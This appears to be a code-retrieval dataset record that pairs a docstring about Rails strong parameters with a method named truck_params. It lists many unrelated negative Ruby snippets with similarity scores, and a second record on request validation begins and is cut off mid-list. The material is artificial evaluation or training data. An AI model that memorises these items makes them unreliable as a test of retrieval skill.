"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def truck_params
params.require(:truck).permit(:name, :web_url, :phone_number)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69780594",
"0.678054",
"0.6742781",
"0.67387927",
"0.67346025",
"0.6590683",
"0.6501642",
"0.6495788",
"0.6479752",
"0.64763314",
"0.645457",
"0.6437739",
"0.6377168",
"0.6372484",
"0.6363871",
"0.63179374",
"0.62981373",
"0.6297456",
"0.62916917",
"0.6290227",
"0.628954",
"0.62877893",
"0.62814754",
"0.62416226",
"0.6237962",
"0.62168854",
"0.62127215",
"0.62084496",
"0.61927646",
"0.6176822",
"0.6174079",
"0.6171225",
"0.6161419",
"0.61507314",
"0.6150071",
"0.6145409",
"0.61204594",
"0.61135256",
"0.6105225",
"0.6103249",
"0.6088041",
"0.6079626",
"0.6070542",
"0.6060409",
"0.60198915",
"0.6016795",
"0.6010659",
"0.60103244",
"0.6005393",
"0.6005393",
"0.6000696",
"0.60000104",
"0.59931517",
"0.59916013",
"0.5991397",
"0.5990416",
"0.5979021",
"0.5965926",
"0.59582806",
"0.59579134",
"0.5957629",
"0.5956672",
"0.59518754",
"0.59510773",
"0.5942638",
"0.5937516",
"0.59361875",
"0.59361875",
"0.59336793",
"0.5928626",
"0.5925229",
"0.59243226",
"0.59174913",
"0.5907821",
"0.5907719",
"0.5906177",
"0.59056896",
"0.5897028",
"0.5896294",
"0.5895856",
"0.5893494",
"0.58926904",
"0.589066",
"0.58854234",
"0.58809334",
"0.5878489",
"0.58727074",
"0.5868653",
"0.5866631",
"0.58666086",
"0.5866305",
"0.586484",
"0.58631617",
"0.5861481",
"0.5861059",
"0.5859114",
"0.5858489",
"0.585326",
"0.58530635",
"0.5848788",
"0.58479697"
] |
0.0
|
-1
|
Validates request and raise error unless its valid.
|
def validate!
raise BadRequestError.new(self.errors.full_messages.uniq.join(', ')) unless valid?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate\n unless (e = errors).empty?\n raise InvalidRequestError, e.first\n end\n end",
"def validate_request(call)\n call.validate_request\n end",
"def validate_request\n binding.pry if $debug\n rejected_error = validate_method || validate_arguments\n if rejected_error\n reject\n #if public mode\n #kill\n #else\n respond_with_rejected_error(rejected_error)\n #end\n return false\n end\n accept\n true\n end",
"def halt_using_if_invalid(request)\n unless request.valid?\n halt 422, json({ message: request.reason })\n end\n end",
"def validate_request(call)\n @calls.validate_request(call)\n end",
"def validate(method)\n # If no requirements were specified, presume GET.\n requirements = @requirements.empty? ? [:get] : @requirements\n unless requirements.include? method\n raise RequestError, \"request method #{method} is not permitted\"\n end \n end",
"def check_requests\n if requests.empty?\n errors.add('requests', 'there were no requests')\n return\n end\n\n requests.each do |request|\n next if request.valid?\n\n request.errors.each do |k, v|\n errors.add(k, v)\n end\n end\n end",
"def validate(params)\n Request.new(params).validate(params)\n end",
"def validrequest?(req)\n @stats.validated\n return true\n end",
"def request\n yield\n rescue Unauthorized, InvalidRequest => e\n raise e\n rescue StandardError => e\n raise UnkownError.new(e)\n end",
"def is_valid?\n raise Exception\n end",
"def valid?(message)\n super do |_|\n # only care that it's an HTTP request\n message[:message][:request] &&\n message[:message][:connection]\n end\n end",
"def validate_request!\n validate_accounts_presence!\n validate_account_funds!\n\n transaction_create_model.validate!\n end",
"def validate_request(request)\n raise Errors::InvalidRequestError.new(\"Improperly formatted Request (expected `Hash', got `#{request.class}')\") unless request && request.is_a?(Hash)\n raise Errors::InvalidRequestError.new(\"Missing `method' Request object member\") unless request['method']\n end",
"def valid_params_request?; end",
"def validate_request(request, session)\n unless @settings[:ssl_enabled] == false or ENV['RACK_ENV'] == 'development'\n if @settings[:ssl]\n # explicitly said :ssl => true\n raise SslRequired unless request.secure?\n elsif @settings.has_key?(:ssl)\n # explicitly said :ssl => false or :ssl => nil, so skip\n else\n # require SSL on anything non-GET\n raise SslRequired unless request.get?\n end\n end\n \n # Same thing for login_required, minus global flag\n if @settings[:login]\n # explicitly said :login => true\n raise LoginRequired unless session[:username]\n elsif @settings.has_key?(:login)\n # explicitly said :login => false or :login => nil, so skip\n else\n # require login on anything non-GET\n raise LoginRequired unless session[:username] || request.get?\n end\n end",
"def invalid_request(response)\n errors = body(response).fetch('errors', []).map { |e| e['message'] }\n InvalidRequest.new(errors).tap do |exception|\n exception.response = response\n end\n end",
"def failed_or_invalid?\n invalid_request? || failed_request?\n end",
"def failed_or_invalid?\n invalid_request? || failed_request?\n end",
"def failed_or_invalid?\n invalid_request? || failed_request?\n end",
"def valid_request?\n # 400 - Error with input\n # 403 - Key related error\n # 500 -Unknown error\n # Check http://www.mapquestapi.com/geocoding/status_codes.html for more details\n @valid = case status[:code]\n when 500\n raise InvalidRequest\n when 400, 403\n false\n else\n true\n end\n end",
"def validate_request req\n id, method, params = req.id, req.method.sub(/^block\\./,''), req.params\n\n case method\n when \"notify\"\n coin_code, password, hash = *params\n raise Rpc::InvalidParams.new( extra_msg: \"coin_code is invalid : #{coin_code}\" ) if ! coin_code =~ /^\\w{3,5}$/\n else\n raise JSON_RPC::MethodNotFound.new( method: \"block.#{method}\" )\n end\n\n emit( method, req )\n\n true\n end",
"def validate(response)\n unless response.code == 200\n message = response.parsed_response\n message = message['error'] if message.respond_to?(:has_key?) and message.has_key?('error')\n message = message['message'] if message.respond_to?(:has_key?) and message.has_key?('message')\n raise RequestError.new(message, response.code)\n end\n\n response\n end",
"def assert_invalid_request(method, url, *args)\n assert_raise(AssertRequest::RequestError) { self.send(method.to_s, url.to_s, *args) }\n end",
"def validate_request(type)\n return if @request.nil? || @request.type == type\n raise Optidash::Errors::RequestTypeConflict.new(@request.type, type)\n end",
"def validate_request\n if @parsing_error\n return [400, \"Parsing error: #{@parsing_error}\"]\n elsif !@request_body || @request_body.empty?\n return [400, 'Request body is empty.']\n end\n\n return []\n end",
"def valid?\n raise_error(@resource['error']) if ok? || error?\n end",
"def check_request\n if @req.code.to_i.between?(400, 499)\n raise Exceptions::SlicingDiceHTTPError, \"Client Error \"\\\n \"#{@req.code} (#{@req.message}).\"\n elsif @req.code.to_i.between?(500, 600)\n raise Exceptions::SlicingDiceHTTPError, \"Server Error \"\\\n \"#{@req.code} (#{@req.message}).\"\n else\n true\n end\n end",
"def validate\r\n validate! rescue false\r\n end",
"def validate!\n @ddl.validate_rpc_request(@action, @data)\n end",
"def valid_request?\n signature = github_signature\n my_signature = 'sha1=' + OpenSSL::HMAC.hexdigest(\n OpenSSL::Digest.new('sha1'),\n ENV['GITHUB_WEBHOOK_SECRET'],\n github_payload_raw\n )\n\n json_response(json_access_denied, :unauthorized) unless Rack::Utils.secure_compare(my_signature, signature)\n rescue StandardError => e\n msg = \"#{self.class}##{__method__} An error occurred while determine if request is valid\"\n Rails.logger.error(\n message: msg,\n exception: e\n )\n\n json_response(json_access_denied(errors: { message: \"#{msg}, exception: #{e.message}\" }), :unauthorized)\n end",
"def validate\n needs :http_url unless http_url\n end",
"def validate_request(env)\n parameters = extract_request_parameters\n\n validate_flow_presence!(parameters)\n validate_msisdn!(parameters)\n validate_session_id!(parameters)\n\n parameters\n end",
"def validate\n errors.clear\n instance_exec(&validate_block) if validate_block && get\n end",
"def valid_params_request?\n true\n end",
"def valid_params_request?\n true\n end",
